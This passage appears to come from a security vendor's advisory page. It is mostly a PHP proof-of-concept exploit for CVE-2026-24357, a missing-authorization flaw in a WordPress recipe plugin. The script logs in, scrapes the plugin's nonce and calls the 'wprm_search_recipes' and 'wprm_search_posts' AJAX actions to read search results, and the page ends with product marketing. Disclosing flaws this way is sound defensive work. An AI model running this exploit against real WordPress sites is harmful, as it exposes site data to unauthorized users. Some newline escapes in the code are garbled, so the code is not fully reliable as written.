$search_term = 'test';     // Term to search for

// Step 1: Authenticate to WordPress and obtain session cookies
function authenticate_wordpress($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    $admin_url = $url . '/wp-admin/';
    
    // First request to get login form and nonce
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    $response = curl_exec($ch);
    
    // Extract log nonce from the form
    preg_match('/name="log" value="([^"]+)"/', $response, $log_match);
    preg_match('/name="pwd" value="([^"]+)"/', $response, $pwd_match);
    
    // Submit login credentials
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data)
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Verify authentication by checking for admin bar
    if (strpos($response, 'wp-admin-bar') !== false) {
        echo "[+] Successfully authenticated as $usern";
        return true;
    } else {
        echo "[-] Authentication failedn";
        return false;
    }
}

// Step 2: Extract the WPRM nonce from frontend
function extract_wprm_nonce($url) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Look for WPRM nonce in page source
    preg_match('/"wprm":s*{[^}]*"nonce":s*"([^"]+)"/', $response, $matches);
    
    if (isset($matches[1])) {
        echo "[+] Extracted WPRM nonce: {$matches[1]}n";
        return $matches[1];
    } else {
        echo "[-] Could not extract WPRM noncen";
        return false;
    }
}

// Step 3: Exploit missing authorization in recipe search
function exploit_recipe_search($url, $nonce, $search_term) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'wprm_search_recipes',
        'search' => $search_term,
        'security' => $nonce
    ];
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "[+] Recipe search response (HTTP $http_code):n";
    echo $response . "nn";
    
    return $response;
}

// Step 4: Exploit missing authorization in post search
function exploit_post_search($url, $nonce, $search_term) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'wprm_search_posts',
        'search' => $search_term,
        'security' => $nonce
    ];
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "[+] Post search response (HTTP $http_code):n";
    echo $response . "nn";
    
    return $response;
}

// Main execution
if (authenticate_wordpress($target_url, $username, $password)) {
    $nonce = extract_wprm_nonce($target_url);
    
    if ($nonce) {
        echo "n=== Exploiting Recipe Search (CVE-2026-24357) ===n";
        exploit_recipe_search($target_url, $nonce, $search_term);
        
        echo "n=== Exploiting Post Search (CVE-2026-24357) ===n";
        exploit_post_search($target_url, $nonce, $search_term);
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School